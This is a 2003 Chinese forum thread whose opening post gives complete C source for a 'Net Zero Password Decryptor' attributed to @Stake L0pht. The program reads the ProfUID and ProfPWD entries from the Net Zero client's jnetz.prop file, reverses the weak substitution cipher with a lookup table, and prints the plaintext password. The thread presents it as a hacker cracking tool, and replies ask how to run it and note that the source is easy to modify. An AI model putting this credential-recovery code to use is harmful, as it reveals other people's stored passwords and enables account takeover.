史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > 網路軟硬體架設技術文件
忘記密碼?
論壇說明

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2003-09-01, 08:48 PM   #1
billtau
榮譽勳章

勳章總數
UID -
在線等級:
文章: n/a
精華:
Wink 駭客破解密碼程式--原始碼---C語言編譯執行

#include <stdio.h>

#include <string.h>



#define UID_SIZE 64

駭客破解密碼程式----原始碼---C語言編譯執行

#define PASS_CIPHER_SIZE 128

#define PASS_PLAIN_SIZE 64

#define BUF_SIZE 256



const char decTable[6][16] = {

{'`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o'},

{'p','q','r','s','t','u','v','w','x','y','z','{','|','}','~',0},

{'@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'},

{'P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_'},

{'0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?'},

{' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/'}

};



int nz_decrypt(char cCipherPass[PASS_CIPHER_SIZE],

char cPlainPass[PASS_PLAIN_SIZE])

{

int passLen, i, idx1, idx2;

passLen = strlen(cCipherPass)/2;



if (passLen > PASS_PLAIN_SIZE)

{

printf("Error: Plain text array too small\n");

return 1;

}



for (i = 0; i < passLen; i++)

{

switch(cCipherPass[i])

{

case '1':

idx2 = 0; break;

case 'a':

idx2 = 1; break;

case 'M':

idx2 = 2; break;

case 'Q':

idx2 = 3; break;

case 'f':

idx2 = 4; break;

case '7':

idx2 = 5; break;

case 'g':

idx2 = 6; break;

case 'T':

idx2 = 7; break;

case '9':

idx2 = 8; break;

case '4':

idx2 = 9; break;

case 'L':

idx2 = 10; break;

case 'W':

idx2 = 11; break;

case 'e':

idx2 = 12; break;

case '6':

idx2 = 13; break;

case 'y':

idx2 = 14; break;

case 'C':

idx2 = 15; break;

default:

printf("Error: Unknown Cipher Text index: %c\n", cCipherPass[i]);

return 1;

break;

}



switch(cCipherPass[i+passLen])

{

case 'g':

idx1 = 0; break;

case 'T':

idx1 = 1; break;

case 'f':

idx1 = 2; break;

case '7':

idx1 = 3; break;

case 'Q':

idx1 = 4; break;

case 'M':

idx1 = 5; break;

default:

printf("Error: Unknown Cipher Text Set: %c\n",

cCipherPass[i+passLen]);

return 1;

break;

}



cPlainPass[i] = decTable[idx1][idx2];

}

cPlainPass[i] = 0;



return 0;

}



int main(void)

{

FILE *hParams;

char cBuffer[BUF_SIZE], cUID[UID_SIZE];

char cCipherPass[PASS_CIPHER_SIZE], cPlainPass[PASS_PLAIN_SIZE];

int done = 2;



printf("\nNet Zero Password Decryptor\n");

printf("Brian Carrier [bcarrier@atstake.com]\n");

printf("@Stake L0pht Research Labs\n");

printf("http://www.atstake.com\n\n");



if ((hParams = fopen("jnetz.prop","r")) == NULL)

{

printf("Unable to find jnetz.prop file\n");

return 1;

}



while ((fgets(cBuffer, BUF_SIZE, hParams) != NULL) && (done > 0))

{

if (strncmp(cBuffer, "ProfUID=", 8) == 0)

{

done--;

strncpy(cUID, cBuffer + 8, UID_SIZE);

printf("UserID: %s", cUID);

}



if (strncmp(cBuffer, "ProfPWD=", 8) == 0)

{

done--;

strncpy(cCipherPass, cBuffer + 8, PASS_CIPHER_SIZE);

printf("Encrypted Password: %s", cCipherPass);



if (nz_decrypt(cCipherPass, cPlainPass) != 0)

return 1;

else

printf("Plain Text Password: %s\n", cPlainPass);

}



}



fclose(hParams);



if (done > 0)

{

printf("Invalid jnetz.prop file\n");

return 1;

} else {

return 0;

}

}
 
送花文章: 0, 收花文章: 0 篇, 收花: 0 次
舊 2003-09-02, 05:03 PM   #2 (permalink)
註冊會員
榮譽勳章

勳章總數
UID - 45071
在線等級: 級別:0 | 在線時長:0小時 | 升級還需:5小時
註冊日期: 2003-03-05
VIP期限: 2005-12
文章: 84
精華: 0
預設

我第一 推
ian78 目前離線  
送花文章: 0, 收花文章: 0 篇, 收花: 0 次
舊 2003-09-02, 11:25 PM   #3 (permalink)
註冊會員
榮譽勳章
UID - 13111
在線等級: 級別:28 | 在線時長:922小時 | 升級還需:35小時級別:28 | 在線時長:922小時 | 升級還需:35小時級別:28 | 在線時長:922小時 | 升級還需:35小時級別:28 | 在線時長:922小時 | 升級還需:35小時級別:28 | 在線時長:922小時 | 升級還需:35小時級別:28 | 在線時長:922小時 | 升級還需:35小時級別:28 | 在線時長:922小時 | 升級還需:35小時級別:28 | 在線時長:922小時 | 升級還需:35小時
註冊日期: 2002-12-17
VIP期限: 2010-07
文章: 149
精華: 0
現金: 5878 金幣
資產: 10878 金幣
預設

推~~
謝謝嘍
風色幻想 目前離線  
送花文章: 408, 收花文章: 13 篇, 收花: 94 次
舊 2003-09-06, 09:00 PM   #4 (permalink)
williamluke
榮譽勳章

勳章總數
UID -
在線等級:
文章: n/a
精華:
預設

有人試過嗎??可以執行嗎?
 
送花文章: 0, 收花文章: 0 篇, 收花: 0 次
舊 2003-09-07, 09:29 PM   #5 (permalink)
長老會員
榮譽勳章
UID - 71525
在線等級: 級別:24 | 在線時長:719小時 | 升級還需:6小時級別:24 | 在線時長:719小時 | 升級還需:6小時級別:24 | 在線時長:719小時 | 升級還需:6小時級別:24 | 在線時長:719小時 | 升級還需:6小時
註冊日期: 2003-05-23
住址: 中和
文章: 346
精華: 0
現金: 42 金幣
資產: 306906 金幣
預設

有原始碼後,再來改就容易了....謝啦'
__________________
感謝您,帶給大家幸福'快樂的一天
kia-ppp 目前離線  
送花文章: 405, 收花文章: 34 篇, 收花: 60 次
舊 2003-09-08, 04:03 PM   #6 (permalink)
Elegance
榮譽勳章

勳章總數
UID -
在線等級:
文章: n/a
精華:
預設

非常謝謝你,
不過請問這些東西要怎麼用呢??
 
送花文章: 0, 收花文章: 0 篇, 收花: 0 次
舊 2003-09-09, 01:44 AM   #7 (permalink)
註冊會員
榮譽勳章

勳章總數
UID - 6301
在線等級: 級別:0 | 在線時長:0小時 | 升級還需:5小時
註冊日期: 2002-12-08
住址: 台中縣
文章: 11
精華: 0
預設

=.= 這是 用 比較簡單的方法寫的 給新手 比較合適
SilloWoif 目前離線  
送花文章: 0, 收花文章: 0 篇, 收花: 0 次
 



發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用


所有時間均為台北時間。現在的時間是 05:16 PM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1